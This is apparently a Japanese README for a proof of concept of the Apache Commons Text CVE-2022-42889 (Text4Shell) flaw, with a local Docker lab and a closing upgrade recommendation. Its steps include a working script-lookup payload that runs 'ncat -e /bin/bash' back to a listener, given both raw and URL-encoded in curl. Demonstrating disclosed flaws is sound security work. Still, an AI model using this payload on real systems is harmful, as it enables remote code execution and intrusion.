
Apache commons-text の脆弱性 CVE-2022-42889 に対する概念実証(PoC)です。
Apache Commons Text は変数補間を実行し、プロパティを動的に評価・展開できるようにします。補間の標準形式は "${prefix:name}" で、"prefix" は補間を実行する org.apache.commons.text.lookup.StringLookup のインスタンスを特定するために使用されます。バージョン 1.5 から 1.9 にかけて、デフォルトの Lookup インスタンス群には、任意のコード実行やリモートサーバーへの接続を引き起こす可能性のあるインターポレーターが含まれていました。これらの lookup は次のとおりです: - "script" - JVM スクリプト実行エンジン (javax.script) を使用して式を実行する - "dns" - DNS レコードを解決する - "url" - リモートサーバーを含む URL から値を読み込む 影響を受けるバージョンでデフォルトの補間機能を使用するアプリケーションは、信頼できない設定値が使用された場合、リモートコード実行や意図しないリモートサーバーへの接続に対して脆弱になる可能性があります。
Apache Commons Text バージョン 1.5 から 1.9
CVE-2022-42889-POC の脆弱性を実演する手順 :docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
攻撃は、プレフィックスが前述の lookup である文字列 "${prefix:name}" を渡すことで実行できます: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
ls コマンド実行後、ターミナルタブ 3 で hacked.txt ファイルが表示されれば、攻撃が実行されたことになります。

Apache Commons Text 1.10.0 へのアップグレードが推奨されます。このバージョンでは、問題のあるインターポレーターがデフォルトで無効になっています。